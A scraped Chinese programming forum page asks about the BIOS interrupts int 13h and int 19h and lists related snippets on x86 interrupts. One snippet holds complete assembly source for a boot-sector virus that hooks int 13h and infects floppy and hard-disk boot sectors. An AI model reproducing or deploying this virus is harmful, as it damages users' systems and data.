设备启动过程中,int 13h和 int 19h 中断程序分别在那个阶段,起了什么作用 [问题点数:50分]

Bbs1
本版专家分:0
结帖率 0%
其他相关推荐
INT13 INT19 中断作用
INT19:  选择从何种设备启动OS INT13:从相应设备中读出OS(读硬盘等) 先调用INT19 后调用INT13
[汇编语言] 汇编语言之IO操作 - 使用直接磁盘服务(Direct Disk Service——INT 13H)
一、前言   最近参加三个一学习活动,学到了十七章,由于之前的实验都是在Windows系统下进行的,非常顺利,但这次实验让我吃了鳖,花了两天时间才找到一个不是特别令人满意的解决方案。所以打算记录在本博客,涨涨教训。   首先,阐述一下实验背景和环境,学习汇编语言的环境大多都是Windows或Liunx系统下,使用Dosbox0.74以及汇编语言三件套(masm,link,debug)环境,的确...
关于INT13H函数对U盘的读写
在《30天自制操作系统》中,作者使用软盘作为操作系统存储介质进行操作系统的编写讲解。但目前计算机设备都已基本放弃软盘支持,虽然依然可以在虚拟机上进行模拟练习,始终还是希望有一个可以真正能在物理设备上驱动安装的系统。 目前常用的移动介质基本都是U盘,所以我开始尝试用U盘开始学习。但在进行存储读写时,就出现了问题。因为U盘的存储结构和软盘是有区别的。而且,现在多数都使用FAT32格式,那么对于MBR
中断INT 13H的扩展功能
中断INT 13H的扩展功能    由于旧有的INT 13H中断只能采用10位二进制来表示磁道,所以对于大于8.4G的硬盘它已不能完全读写了。扩展INT 13H又称为INT 13 Extension APIs,它主要就是用来对超过1024个磁道的硬盘进行读写的。 1.数据结构(Data Structure) 该数据结构是提供给扩展INT 13H使用的,它是建立在逻辑扇号之上的,具
int 13H参数详解
直接磁盘服务(Direct Disk Service——INT 13H)   00H —磁盘系统复位  01H —读取磁盘系统状态  02H —读扇区  03H —写扇区  04H —检验扇区  05H —格式化磁道  06H —格式化坏磁道  07H —格式化驱动器  08H —读取驱动器参数  09H —初始化硬盘参数  0AH —读长扇区  0BH —写长扇区  0
INT13中断详解
直接磁盘服务(Direct Disk Service——INT 13H)   00H —磁盘系统复位  01H —读取磁盘系统状态  02H —读扇区  03H —写扇区  04H —检验扇区  05H —格式化磁道  06H —格式化坏磁道  07H —格式化驱动器  08H —读取驱动器参数  09H —初始化硬盘参数  0AH —读长扇区  0BH —写长扇区
int 0x13 中断理解
BIOS中断INT 0x13中, ah=0x02,即为读磁盘扇区到内存,利用这二号服务即可读入setup模块。 调用此功能将从磁盘上把一个或更多的扇区内容读进存贮器。因为这是一个 低级功能,在一个操作中读取的全部扇区必须在同一条磁道上(磁头号和磁道号 相同)。BIOS不能自动地从一条磁道末尾切换到另一条磁道开始,因此用户必须 把跨多条磁道的读操作分为若干条单磁道读操作。 入口参数:
int 13 中断
x86中断总览 =============================== 直接系统服务(Direct System Service)   INT 00H - “0”作除数 INT 01H - 单步中断 INT 02H - 非屏蔽中断(NMI) INT 03H - 断点中断 INT 04H - 算术溢出错误 INT 05H - 打印屏幕和BOUND越界 INT
汇编中的int 10h 与int 19h
汇编中的10H中断是由BIOS对显示器和屏幕所提供的服务程序。使用int 10h服务程序时,必须先指定ah寄存器为以下显示服务编号之一,以指定需要调用的功用。显示服务 (Video Service:int 10h)00H:设置显示器模式01H:设置光标形状02H:设置光标位置03H:读取光标信息04H:读取光笔位置05H:设置显示页06H、07H:初始化或滚屏08H:读光标处的字符及其 属性09H...
BIOS INT 10-13功能调用的“另类”玩法
原文链接: http://www.cnblogs.com/ljf9201314/archive/2008/07/21/1247653.html
INT 13H 中断功能
INT 13H 中断功能
使用BIOS中断显示字符串笔记(int 10h 13号中断)
BIOS的10H中断的13号中断用于显示字符串,参数为: 1、AH=13H 2、AL=显示方式       如果AL=0,表示目标字符串仅仅包含字符,属性在BL中包含,不移动光标       如果AL=1,表示目标字符串仅仅包含字符,属性在BL中包含,移动光标       如果AL=2,表示目标字符串包含字符和属性,不移动光标       如果AL=3,表示目标字符串包含字符和属性,移
U盘启动以及int 13h扩展读取U盘内容
从U盘启动有三种方式:USB-HDD, USB-CDROM, USB-FDD,其中USB-FDD格式较老,同时兼容性存在一定问题,目前也仅仅针对USB-HDD以及USB-CDROM两种方式进行了研究。   一、从U盘启动 1、USB-HDD方式简介 USB-HDD方式是将U盘格式化成硬盘格式,具有与硬盘相同形式的MBR,只需要将启动引导代码写入USB-HDD格式U盘的MBR,同时在启动时,
扩展int13h调用详解(修正)
扩展int13h调用详解(修正)  第一部分 简 介  一. 硬盘结构简介  1. 硬盘参数释疑  到目前为止, 人们常说的硬盘参数还是古老的 CHS (Cylinder/  Head/Sector)参数. 那么为什么要使用这些参数, 它们的意义是什么?  它们的取值范围是什么?  很久以前, 硬盘的容量还非常小的时候, 人们采用与软盘类似的结  构生产硬盘. 也就是硬
bios 中断 int 19h????
请教一下大家bios 中断 int 19h 的详细用法
int 13h 返回信息
BIOS磁盘操作 INT 13H 处理的记录都是一个扇区大小,以实际的磁道号和扇区号寻址. AH 执行操作 入口参数 返回参数 00H 复位磁盘系统 DL=驱动器号 失败: AH=错误码 01H 读磁盘状态  
利用BIOS INT 0x13读取软盘
版权声明:本文为博主原创文章,未经博主允许不得转载。 目录(?)[-] babyos将使用的引导过程软盘的结构利用BIOS 中断读取软盘相对扇区号的计算读取一个扇区读取任意扇区给定相对扇区号 注:以下程序为原创,若发现任何BUG,欢迎指正;若有问题,欢迎交流;权利归原作者所有,若转载,请注明出处;若能有益于一二访客,幸甚。 昨天学习了VGA显示的一些东西
8259A可编程中断控制器芯片中断过程
8259A:可编程中断控制器芯片(PIC),它是可以用程序控制的中断控制芯片。单个的8259A能管理8级向量优先级中断。在不增加其他电路的情况下,最多可以级联成64级的向量优级中断系统。 8259A内部结构由8个部分组成: (1)数据总线缓冲器(DATA BUS BUFFER):将8259A连接到系统数据总线上,控制字和状态信息通过此传送。 (2)读/写控制逻辑(READ/WRITE
汇编学习--7.16--int指令
int指令 中断信息可以来自CPU的内部和外部,当CPU的内部有需要处理的事情发生的时候,将产生需要马上处理的中断信息,引发中断过程。 上一章讲解了0号中断和单步中断,这一章将讲解另一种重要的内中断,由int指令引发的中断。     int指令 格式:int n n为中断类型码,它的功能是引发中断过程。   CPU执行int n指令,相当于引发一个n号中断中断过程,执行过程如下
KV300防倒版技术分析
code segment assume cs:code,ds:code org 100h begin: xor ax,ax mov dl,80h int 13h ;复位硬盘 mov ax,201h mov bx,200h mov cx,1 mov dx,80h int 13h ;读主引导扇区到200H mov cx,ds:[3d0h] mov [3ceh],0 mov bx,210h mov ax,301h int 13h ;写扩展分区首隐藏扇区 int 19h ;快启动 code ends
const实现机制及与#define的区别
const与#define的区别 (1) 编译器处理方式不同   define宏是在预处理阶段展开。   const常量是编译运行阶段使用。 (2) 类型和安全检查不同   define宏没有类型,不做任何类型检查,仅仅是展开。   const常量有具体的类型,在编译阶段会执行类型检查。 (3) 存储方式不同   define宏仅仅是展开,有多少地方使用,就展开多少次,不会分配内存
win9x下使用int 13h中断
再win9x下通过VMM32的DeviceIOControl调用int13h中断时只能对软盘进行正确的操作,无法对硬盘操作rnrn查了一下MSDN发现的确时有这个问题rnMSDN里面说到要通过dll文件来操作,可是目前在下能力有限,还未接触过dll编程rn请问各位大侠有解决办法否?
中断 INT 13H调用问题
INT 13H 8号功能调用如下:rnax=0803rnbx=5368rncx=0011rndx=1400rn返回值如下:rnax=0003rnbx=0004rncx=4f12rndx=0101rn请详细说明各项含义。rnrnrnINT 13H 0号功能调用如下:rnAX=0000rnBX=0FBErnCX=5526rnDX=0100rn返回值如下:rnAX=0000rnBX=0FBErnCX=5526rnDX=0100rn详细说明各项含义。rnrn谢谢!rn
关于int13
    基本INT13H中断,实际上就是早期的INT13H中断。后来随着硬盘容量的快速增长,INT13H中断已不适应,于是技术人员又设计了扩展INT13H中断。为了与后者便于区分,所以在前面冠以“基本”二字。  现在介绍两种调用基本INT13H中断读扇区数据的方法,一种是在汇编语言里调用,另一种是在C语言里调用。  介绍在汇编语言里的调用方法,可为以后学习扩展INT13H中
INT 13H和扩展INT 13H的问题?
第一个问题:rn操作系统(98或NT或XP)对磁盘的操作(如读写)是不是最终都要调用BIOS的INT 13H,这时的INT 13H中断向量是不是还在内存00000:0开始的地方?如果没有调用INT 13H,那操作系统对磁盘的操作是怎么做的?rn第二个问题:rn什么情况下用INT 13H,什么情况下用扩展INT 13H?rn第三:rn我想写个引导型小程序,并长驻常规内存,那我的程序所在空间会不会被操作系统破坏掉?rn初学,请多指教!rnrn
int 13H ?
使用BOIS INT 13H 的两个主要缺点是什么?为什么要经常使用 INT 21H?rn在什么情况下程序员使用 INT 13H?
int 13h
int 13h中ah=41h的功能是什么?相关参数?
int指令
int指令的格式为:int n(n为类型中断码)它的功能是引发中断过程。
8086汇编基础 使用Int21h中断例程中的9号子程序实现hello world
慈心积善融学习,技术愿为有情学。善心速造多好事,前人栽树后乘凉。我今于此写经验,愿见文者得启发。 assume cs:code data segment db 'hello world','$' ;$不显示,但是要作为要显示字符串的结束标志,必须有 data ends code segment start: mov ah,
x86中断手册等资料
关于x86中断的一些资料 直接系统服务中断:Other 直接系统服务(Direct System Service) INT 00H —“0”作除数 INT 01H —单步中断 INT 02H —非屏蔽中断(NMI) INT 03H —断点中断 INT 04H —算术溢出错误 INT 05H —打印屏幕和BOUND越界 INT 06H —非法指令错误 INT 07H —处理器扩展无效 INT 08H —时钟中断 INT 09H —键盘输入 INT 0BH —通信口(COM2:) INT 0CH —通信口(COM1:) INT 0EH —磁盘驱动器输入/输出 INT 11H —读取设备配置 INT 12H —读取常规内存大小(返回值AX为内存容量,以K为单位) INT 18H —ROM BASIC INT 19H —重启动系统 INT 1BH —CTRL+BREAK处理程序 INT 1CH —用户时钟服务 INT 1DH —指向显示器参数表指针 INT 1EH —指向磁盘驱动器参数表指针 INT 1FH —指向图形字符模式表指针
int指令(软件中断指令)
原文地址:http://www.cnblogs.com/icqw/p/4915930.html INT(软件中断指令)是CALL指令的一种特殊形式。call指令调用调用的子程序是用户程序的一部分,而INT指令调用的操作系统提供的子程序或者其他特殊的子程序。   中断服务子程序和标准过程的最大区别是 汇编程序可以有任意个过程,中断服务子程序最多有256个过程、   INT指令共有四中不同的格式:
BIOS启动过程分析
1        引言1.1    文档目的对于电脑用户来说,打开电源启动电脑几乎是每天必做的事情,但计算机在显示这些启动画面的时候在做什么呢?大多数用户都未必清楚了。下面就向大家介绍一下从打开电源到出现Linux的登录窗口,计算机到底干了些什么工作,BIOS在其中起到什么作用。电脑的启动过程中有一个非常完善的硬件自检机制。对于采用Award BIOS的电脑来说,它在上电自检那短暂的几
汇编--INT 13h功能
转载: http://www.mouseos.com/win7/int_0x13.html1、 int 0x13 的扩展读(ah = 0x42)int 0x13 的 0x42 号功能从磁盘读 n 个 sectors 到 buffer 中。入口参数:ah = 0x42, dl = 磁盘号(0x80 为硬盘), ds:si = buffer读入的 buffer 结构,用 c 描述为:struct bu...
Int 10 中断功能 详解
INT 10H 是由 BIOS 对屏幕及显示器所提供的服务程序,而后倚天公司针对倚天中文提供了许多服务程序,这些服务程序也加挂在 INT 10H 内。使用 INT 10H 中断服务程序时,先指定 AH 寄存器为下表编号其中之一,该编号表示欲调用的功用,而其他寄存器的详细说明,参考表后文字,当一切设定好之后再调用 INT 10H。底下是它们的说明: AH 功 能
中断 int 0x80 的作用
 当进程执行系统调用时,先调用系统调用库中定义某个函数,该函数通常被展开成前面提到的_syscallN的形式通过INT 0x80来陷入核心,其参数也将被通过寄存器传往核心。 在这一部分,我们将介绍INT 0x80的处理函数system_call。 思考一下就会发现,在调用前和调用后执行态完全不相同:前者是在用户栈上执行用户态程序,后者在核心栈上执行核心态代码。那么,为了保证在核心内部执行完系统调用...
《汇编语言》学习(十三)int指令
int指令是X86汇编语言中最重要的指令之一。它的作用是引发中断,调用“中断例程”(interrupt routine)。本文将介绍int指令的基本原理和应用,以及BIOS和DOS系统的中断例程。 一、int指令的原理 1,指令原型 int n 注:     1)n 表示中断号,也可以称为中断类型码。n是一个字节大小的正整数,范围为“0 - 255”。 2)执行“int n”时
设备驱动中的中断问题及实例解析
1、关于设备驱动中的中断问题       操作系统为了使得快速设备和慢速设备合适工作,需要中断来提高效率,一个外设要使用一个中断就必须注册中断号,获得跟这个中断号相关的一些资源,并且在中断发生的时候内核可以进行一些处理,例如:调用中断处理例程来真正的处理设备中断。Linux处理中断的方式很大程度上与它在用户空间处理信号的方式是一样的。       我们知道,从本质上讲,中断处理例程会和其他代码
int $0x80系统调用的idea
1、基础知识      用户态和内核态           一般现代CPU都有几种不同的指令执行级别,Linux总共划分为4个指令执行级别:内核运行在0级别上,1,2级别默认不运行,用户程序运行在3级别上。           在内核指令执行级别上,代码可以执行特权指令,访问任意的物理地址。           在用户指令执行级别上,代码的掌控范围会受到限制。只能在对应级别允许的范围内活动
INT 10H中断的不明白之处ah=13h
RT请看程序:rnrn org 7c00hrn mov ax,cs ;rn mov ds,axrn mov es,ax rn call Menurn call Menu2rn jmp $rnrnMenu:rn mov ax,Item1rn mov bp,axrn mov ax,1301hrn mov bx,000chrn mov cx,4rn mov dx,0c30hrn int 10hrn retrnMenu2:rn mov ax,Item2rn mov bp,axrn mov ax,01301hrn mov bx,0f400hrn mov cx,10rn mov dx,00e21hrn int 10hrn retrnrn... ...rnrnItem1: db "Game"rnItem2: db "Start Game"rnrntimes 510 - ($ - $$) db 0rnrndw 0xaa55rnrn本意是想写个小玩意儿,不到一个Boot的大小,可是为什么只显示了一个“Game”,“Start Game”为什么没有显示(在虚拟机中运行),在Debug里可以看到程序执行了Menu2了,为什么没有显示Item2?rn
系统调用(int 0x80)详解
1、系统调用初始化 在系统启动时,会在sched_init(void)函数中调用set_system_gate(0x80,&system_call),设置中断向量号0x80的中断描述符: #define set_system_gate(n,addr)  _set_gate(&idt[n],15,3,addr) 其中15表示此中断号对应的是陷阱门,注意,这个中断向量不是中断门描述符
浅析 Legacy INT 13h中断函数
浅析 Legacy INT 13h中断函数 在BIOS进入UEFI时代之后,似乎Legacy BIOS的东西正在走向死亡。但传统的legacy产物退出历史舞台还需要一个过程, legacy中断就是其中之一。本文要讲的INT 13h中断函数就是legacy中断中的一种。它主要是为磁盘操作服务。 Table of Contents 1 文档 (Enhanced Disk Drive
bootloader的两个阶段
bootloader一般都是分为两个阶段的,第一个阶段使用汇编来实现,它完成一些依赖于CPU体系结构的初始化,并调用第二阶段的代码;第二阶段则通常使用C语言来实现,这样可以实现更复杂的功能,而且代码会有更好的可读性和移植性。    两个阶段如下: 一、第一阶段功能 (1)硬件设备初始化; (2)为加载bootloader的第二个阶段代码准备RAM空间。 (3)复制bootloader的第
对于int $0x80引发的问题
------------------------------------------------------软中断-------------------------------------------------------------------------------------- 在Linux 的汇编语言中(AT&T,x86汇编两种语法的一种),int 指令被称为软中断指令 ,可以用此指令
int 13 磁盘编号规则 驱动器号
 先看int 13对磁盘的一个操作说明:INT 13H,AH=00H 软、硬盘控制器复位说明:  此功能复位磁盘(软盘和硬盘)控制器板和磁盘驱动器,它在磁盘控制器芯片上完成复位操场作并在磁盘进行所需的操作之前做一系列用于磁盘校准的磁盘操作。  当磁盘I/O功能调用出现错误时,需要调用此功能,此刻复位功能将使BIOS像该磁盘重新插入一样检查驱动器中磁盘状态,并将磁头校准使之在应该在的位置上。  此功能调用不影响软盘或硬盘上的数
pic675中断
pic16f675的中断程序 C语言写的int中断响应
INT 15中断功能
INT 15h, AX=E820h - Query System Address Map Real mode only. This call returns a memory map of all the installed RAM, and of physicalmem
15的外部中断INT3和INT4
#include "STC15W4K.H" // 包含 "STC15W4K.H"寄存器定义头文件 sbit P0_0=P0^0; void port_mode() // 端口模式 { P0M1=0x00; P0M0=0x00;P1M1=0x00; P1M0=0x00;P2M1=0x00; P2M0=0x00;P3M1=0x00; P3M0=0x00;
汇编中断知识之INT 1CH
最近在编写汇编程序遇到一个使用INT 1CH的程序,INT 1CH是实现定时或周期性的工作,难道INT 1CH就像INT 21H一样直接调用它里面的功能号吗?下面就通过一个程序简单的看看传说中的INT 1CH的. 这个程序是实现屏幕背景颜色1秒钟变换一次的实验. 1.INT 1CH中断 INT 1CH其实是调用INT 21H中的25号功能:置中断向量AL=中断号,DS:DX=入口,同时I
INT 10中断功能
INT 10H 是由 BIOS 对屏幕及显示器所提供的服务程序,而后倚天公司针对倚天中文提供了许多服务程序,这些服务程序也加挂在 INT 10H 内。使用 INT 10H 中断服务程序时,先指定 AH 寄存器为下表编号其中之一,该编号表示欲调用的功用,而其他寄存器的详细说明,参考
键盘I/O中断调用(INT 16H)
转自https://zhidao.baidu.com/question/233998859.html 键盘I/O中断调用有三个功能,功能号为0, 1, 2,且必须把功能号放在AH中。 (1)0号功能调用 格式:MOV AH, 0 INT 16H 功能:从键盘读入字符送AL寄存器。执行时,等待键盘输入,一旦输入,字符的ASCII码放入AL中。若AL=0,则AH为输入的扩展码。
int 13h 参数大全
直接磁盘服务(Direct Disk Service——INT 13H)   00H —磁盘系统复位  01H —读取磁盘系统状态  02H —读扇区  03H —写扇区  04H —检验扇区  05H —格式化磁道  06H —格式化坏磁道  07H —格式化驱动器  08H —读取驱动器参数  09H —初始化硬盘参数  0AH —读长扇区  0BH —写长扇区  0
int 13h的入口地址
我想破解还原卡 需要知道在正常情况下的INT 13H程序的入口地址是多少
图解Java多线程设计模式
本书通过具体的Java 程序,以浅显易懂的语言逐一说明了多线程和并发处理中常用的12 种设计模式。内容涉及线程的基础知识、线程的启动与终止、线程间的互斥处理与协作、线程的有效应用、线程的数量管理以及性能优化的注意事项等。此外,还介绍了一些多线程编程时容易出现的失误,以及多线程程序的阅读技巧等。在讲解过程中,不仅以图配文,理论结合实例,而且提供了运用模式解决具体问题的练习题和答案,帮助读者加深对多线程和并发处理的理解,并掌握其使用技巧。
INT 13H ah=42
我欲读MBR,但磁盘读写地址数据包DRWAP中磁盘起始绝对扇区号(AbsoluteBlockNumber)设置不能超过3个字节,超过就读不出8.4G以后的逻辑分区的MBR,应该怎样解决?如果设成18H(24字节数据包),应该怎样设置?
保护模式下int 13h的一些问题
在保护模式下,我要用int 13h的增强功能,第一个问题:DAP中的参数ES:SI怎么处理,因为这个时候的ES已经是选择子了。第二:BIOS的代码应该是16位代码,默认操作数是16位,但是我设定的段中的默认操作数是32位,这样的话,能不能正常执行?rnrn也就是:我要在保护模式,并且启用分页功能的情况下,使用INT 13h功能,不能切换回实模式,有没有示例代码?麻烦指一明路
江湖救急 关于int 13h
谁有int 13h的资料或下载网址100分相送!!!
INT 13H的困惑
在bootloader中使用INT 13H,02H BIOS中断来读硬盘,其中DL为要读的硬盘的序号,我看到网上所有的文章基本上都是80H,说明bootloader所在的硬盘为第一个硬盘,但我将bootloader所在的硬盘放在IDE2上,IDE1上为一空白的盘,将BIOS设置成IDE2启动,结果用DL=80H可以读出正确的数据,说明BIOS已经自动将bootloader所在的硬盘设置为第一个硬盘。rnrn我问了一些网友,他们认为现在支持BBS的BIOS会自动将bootloader所在硬盘的序号设置成80H,我想知道如果是在不支持BBS的BIOS中运行,如果bootloader所在硬盘的序号不是80H的情况下,bootloader应该如何得到自己所在硬盘的序号,谢谢!
汇编——INT 21h 中断的使用
http://www.cnblogs.com/ynwlgh/archive/2011/12/12/2285017.html 例如:需要键盘输入,并且回显。 AH的值需要查表取得,表在下面 指令:MOV AH,01      INT 21H 通过这样两...
int 13H 扩展问题
各位大哥,我想在我的磁盘上实现调用Int13H 42H 读取1个扇区内容到指定位置的内存地址空间中(将这个空间作为buffer),然后通过43H读(buffer)内存,将内容再写回到另一个扇区中,不知道如何实现阿。rn有知道的大哥吗??能帮忙告诉下怎么去实现吗,谢谢了。rn能有AT&T 汇编的更好,非常感谢了rn
int 13h 问题询问
CSDN的大牛们好,这是一个引导扇区病毒的例子,有个地方看不懂希望大牛们请教,在下不胜感激!!!!rn1. 06是什么意思,为什么是06这个数字rn2. 13h*4是什么意思??还有红色标出的那一部分是如何修改中断向量的??rn麻烦各位了!!rnrnOFF equ rnVirusSize=OFF @@End-OFF @@Startrn@@Start:rn jmp short @@Beginrn VirusFlag db 'V' ;病毒标志rn@@BootData: ;这里有两个重要数据结构,不能是代码rn org 50h ;病毒从Offset50h开始,病毒未用以上数据rn@@Begin: ;但其它程序可能使用,故须保留rn mov bx,7c00hrn mov sp,bx ;设sp,使ss:sp=0:7c00hrn stirn mov ax,ds:[413h] ;得到内存大小(0:413h单元存有以K计数的内存大小)rn dec axrn dec axrn mov ds:[413h],ax ;将原内存大小减2Krn[color=#FF0000] mov cl,06[/color]rn shl ax,cl ;计算高端内存地址rn mov es,axrn xor di,dirn mov si,sprn mov cx,VirusSizern cldrn rep movsb ;把病毒搬移到高端地址里rn push axrn mov di,OFF @@HighAddrrn push dirn retf ;跳到高端继续执行rn@@HighAddr:rn cli ;修改中断向量前,最好关中断 rn [color=#FF0000]xchg ds:[13h*4+2],axrn mov cs:[OldInt13Seg],axrn mov ax,OFF @@NewInt13rn xchg ds:[13h*4],axrn mov cs:[OldInt13Off],ax [/color];修改中断13hrn push dsrn pop es ;把es复位为0rn cmp dl,80h ;是否从硬盘引导?rn jz short @@ReadOldHardBootrn push dx ; 从软盘引导,则传染硬盘rn mov dl,80hrn call @@OptDisk ;调用传染模块rn pop dxrn@@ReadOldFlopyBoot: ;读出原软盘引导程序 rn mov ax,0201hrn mov cx,79*100h+17 ;传染时将原引导程序保存在0面79道17扇区中rn mov dh,00hrn call @@CallInt13rn jc short @@ReadOldFlopyBoot ;失败,继续读直到成功rn@@ExecOldBoot:rn cmp es:[bx.Flags],0aa55hrn jnz @@ExecOldBootrn mov ah,02hrn int 1ah ;取系统时间rn cmp cx,22*100h+30 ;是否大于22:30分rn jb @@ExitDisp ;未到,则不显示rn lea si,VirusMsg rn@@DispMsg:rn mov al,cs:[si]rn inc sirn mov ah,0ehrn int 10h ;显示al中的字符rn or al,alrn jnz @@DispMsgrn xor ax,axrn int 16hrn@@ExitDisp:rn mov cx,0001h ;恢复cx初值rn push esrn push bxrn retf ;去执行原引导程序 rn@@ReadOldHardBoot:rn mov ax,0201h rn mov cx,0002h ;传染时将原硬盘主引导程序保存在0面0道2扇区中rn mov dh,00h rn call @@CallInt13 ;读出rn jc short @@ReadOldHardBoot ;失败,继续读直到成功rn jmp short @@ExecOldBoot ;去执行原引导程序 rn@@NewInt13: ;新Int 13h(传染块) rn cmp dx,0000h ;是软盘吗?rn jnz short @@JmpOldInt13rn cmp ah,02h rn jnz short @@JmpOldInt13rn cmp cx,0001hrn jnz short @@JmpOldInt13rn call @@OptDisk ;若发现读软盘扇区,则感染软盘rn@@JmpOldInt13:rn clirn JmpFar db 0eah ;远跳转指令rn OldInt13Off dw ?rn OldInt13Seg dw ?rn@@CallInt13: rn pushf ;模拟Int 13h指令 rn push csrn call @@JmpOldInt13rn ret rn@@OptDisk: ;传染dl表示的磁盘(dl-0 A: 80:C) rn pusharn push dsrn push es ;保存段址与通用寄存器rn push csrn pop esrn push csrn pop ds ;使ds=es=csrn mov bx,OFF OldBootSpacern mov ax,0201hrn mov cx,0001hrn mov dh,00hrn call @@CallInt13 ;读原引导扇区rn jc short @@OptOverrn mov di,bxrn cmp ds:[di.VirusFlag],'V' ;判断是否已经有病毒?rn jz short @@OptOver ;若有,则退出rn cmp dl,00hrn jz short @@IsOptFlopyDiskrn@@IsOptHardDisk:rn mov cx,0002h ;若是硬盘,保存在0面0道2扇区 rn jmp short @@SaveOldBootrn@@IsOptFlopyDisk:rn mov cx,79*100h+17 ;若是软盘,保存在0面79道17扇区 rn@@SaveOldBoot: rn mov ax,0301h rn mov dh,0hrn call @@CallInt13 ;保存原引导扇区rn jc short @@OptOverrn mov si,OFF @@Startrn cldrn movswrn movsb ;修改原扇区首指令(Jmp near 3字节)rn mov di,OFF @@Begin+200hrn mov si,OFF @@Beginrn mov cx,OFF @@End-OFF @@Beginrn cldrn rep movsb ;修改原引导扇区指令cx字节rn mov ax,0301hrn mov cx,0001hrn mov dh,00hrn call @@CallInt13 ;写回已经被修改了的引导程序 rn@@OptOver: ;退出传染rn pop esrn pop ds ;恢复段址与通用寄存器rn poparn ret ;以下是病毒要显示的信息,与病毒版本信息rn VirusMsg db 0dh,0ah,07h,'Night is deep,you must go sleep!',0dh,0ah,0rn db 'Night Sleep ver 1.0,by whg 2001.5.5',0 rn@@End: rn org 1fehrn Flags dw 0aa55h ;引导扇区有效标志rn OldBootSpace db 210h dup(?) ;定义缓冲区rn@@Install:rn xor ax,axrn mov ds,axrn clirn mov ax,ds:[13h*4]rn mov cs:[OldInt13Off],axrn mov ax,ds:[13h*4+2]rn mov cs:[OldInt13Seg],axrn mov dl,80hrn call @@OptDiskrn mov ax,4c00hrn int 21hrnEnd @@Installrn
int 13h 问题
请问,int 13h 的ah = 2 与 ah = 0ah 的区别是什么那个ecc码具体在读的时候会造成什么样的区别呢?我现在要自己实现ah=0ah的功能,请问这个和ah=2h的实现有什么区别?
int 9和int 16h中断-键盘输入、读取
8086PC机当中,键盘的输入将会引发9号中断,BIOS提供了int 9的中断例程。CPU在9号中断发生之后,会去执行int 9中断例程,然后从60h端口当中读取出扫描码,并且将其转换为相应的ASCII码和状态信息,存储在内存的指定的空间(键盘缓冲区或状态字节)当中 一般的键盘输入,在CPU执行完int 9 中断例程之后都放到了键盘缓冲区当中,键盘缓冲区有16个字单元,可以存储15个按键扫...
请问交换机和路由器分别的实现原理是什么?分别在哪个层次上面实现的?
一般意义上说交换机是工作在数据链路层。 但随着科技的发展,现在有了三层交换机,三层交换机已经扩展到了网络层。 也就是说:它等于“数据链路层 + 部分网络层”。 交换机中传的是帧。通过存储转发来实现的。 路由器是工作在网络层。路由器中传的是IP数据报。主要是选址和路由。
PHP的GD库函数大全
GetImageSize 作用:取得图片的大小[即长与宽] 用法:array GetImageSize(string filename, array [imageinfo]); ImageArc 作用:画弧线 用法:int ImageArc(int im, int cx, int cy, int w, int h, int s, int e, int col); ImageChar 作用:写出横向字符 用法:int ImageChar(int im, int font, int x, int y, string c, int col); ImageCharUp 作用:写出竖式字符 用法:int ImageCharup(int im, int font, int x, int y, string c, int col); ImageColorAllocate 作用:匹配颜色 用法:int ImageColorAllocate(int im, int red, int green, int blue); ImageColorTransparent 作用:指定透明背景色 用法:int ImageColorTransparent(int im, int [col]); ImageCopyResized 作用:复制新图并调整大小 用法:int ImageCopyResized(int dst_im, int src_im, int dstX, int dstY, int srcX, int srcY, int dstW, int dstH, int srcW, int srcH);
中断线程详解
在JAVA中,曾经使用stop方法来停止线程,然而,该方法具有固有的不安全性,因而已经被抛弃(Deprecated)。那么应该怎么结束一个进程呢?官方文档中对此有详细说明:《为何不赞成使用 Thread.stop、Thread.suspend 和 Thread.resume?》。在此引用stop方法的说明: 1. Why is Thread.stop deprecated? Bec
Linux 硬中断和软中断
概述   从本质上来讲,中断是一种电信号,当设备有某种事件发生时,它就会产生中断,通过总线把电信号发送给中断控制器。 如果中断的线是激活的,中断控制器就把电信号发送给处理器的某个特定引脚。处理器于是立即停止自己正在做的事, 跳到中断处理程序的入口点,进行中断处理。   (1) 硬中断 由与系统相连的外设(比如网卡、硬盘)自动产生的。主要是用来通知操
汇编语言自定义int9中断程序
代码解释如下:;改变int9中断例程改变它的中断处理程序,可更新到Blog assume cs:code stack segment db 128 dup(0) stack ends code segment start: mov ax,stack mov ss,ax mov sp,128 call cpy_new_int9 ;复制自定义的int9程序
2. 程序编译的四个阶段
0.引言hello.c(源程序)是一条高级C语言程序,虽然它是以一种易读的形式,让人们容易理解。但是,它却无法直接驱动硬件CPU直接执行。为了我们编写的hello.c程序可以被执行,驱动硬件电路工作,hello.c程序必须经过一些列处理步骤,将源程序转化为可执行性的目标程序。而我们知道,机器语言就是处理器可以直接理解(与生俱来就能理解)的编程语言,机器语言有时也被叫做原生代码(Native Code
_asm int 3 软件中断
int 3机器码0cch,是无数人的最爱,你不见VC++不管是链接还是初始化,都用这个 0CCh来填,你不见所有运行在ring3的debug都使用这个0cc来插入你想中断调试的位置,以至在不去掉断点的情况下写盘,在你的代码中会发现这个莫名其妙的0CCh。int 3不过是一个软件断点中断,你自己就可以任意修改这个中断,在anti-debug中,你可以通过修改这个中断给调试者带来巨大的惊喜,如果你能更深
Linux0.11内核--系统中断处理程序int 0x80实现原理
系统调用是一个软中断中断号是0x80,它是上层应用程序与Linux系统内核进行交互通信的唯一接口。 [cpp] view plain copy
如何用int 3
int 3就是我们常说的软件断点,问题是,在什么时候我们需要用到int 3呢?          我们经常会碰到这样一种场景,有时候一个软件会由多个EXE组成,其中的某些EXE是由另外的EXE调用的,这时候我们通常调用其它EXE创建进程的时候必须用Visual Studio 的Attach Process把VS的调试器和进程关联上(同样用WinDbg也是如此)。这时候我们会碰到一个问题,就是因为
用汇编语言实现系统引导——8086汇编语言学习记录
    学习王爽著汇编语言到了最后一阶段,完成了课程设计2,内容要求如下。    该程序的难度主要是对整个系统的流程的掌握上,细分下可以分成,写入软盘程序、跳转程序、实际引导程序三个模块。    由于引导程序是在BIOS之上,操作系统之下,因此在编写的时候需要明确,通过使用INT13 AH=2从软盘读取出来的程序放在内存的哪个位置,虽然相比BIOS占用的内存,空闲区间很大,但仍然不是能随意设定的。...
int 3中断与软件调试
摘要:平常编程调试的过程中,我们可能会有这样的疑惑:“为什么使用硬件模拟器,比如bochs调试的时候,开始设置的调试断点都不会生效?”,“断点调试的本质是什么,为什么程序能够在特定的地方停留下来?既然程序是指令流,为何CPU没有一直执行下去?”,“在软件中断的情况下,如何进行调试?”。断点和单步执行是两个经常使用的调试功能,也是调试器的核心功能。本章我们将介绍IA-32 CPU是如何支持断点和单步
实验3前篇——X86的中断管理
